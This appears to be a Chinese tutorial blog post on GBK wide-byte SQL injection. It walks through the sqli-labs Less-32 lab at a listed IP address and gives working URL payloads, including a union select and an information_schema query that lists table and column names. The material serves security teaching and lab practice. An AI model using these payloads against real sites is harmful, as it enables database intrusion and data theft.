sql注入之宽字节注入

一.宽字节注入

宽字节注入原理:

GBK 占用两字节,ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是说:%df\’ = %df%5c%27’,有了单引号就好注入了。

宽字节注入实例:

(1).题目 http://117.167.136.242:8002/Less-32/

在这里插入图片描述
(2).?id=1
看到编码变化了
所以是宽字节注入

http://117.167.136.242:8002/Less-32/?id=1

在这里插入图片描述

(3).所以我们要用%df来代替一个字节

http://117.167.136.242:8002/Less-32/?id=1%df

在这里插入图片描述

页面正确
(4).加个单引号页面报错

http://117.167.136.242:8002/Less-32/?id=1%df’

在这里插入图片描述

页面报错
存在注入

(5).给出一个payload

http://117.167.136.242:8002/Less-32/?id=-1%df%27union%20select%201,2,3--+

在这里插入图片描述
(6).查表名,以及表中的字段。

http://117.167.136.242:8002/Less-32/?id=-1%df%27%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database())%20--+

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值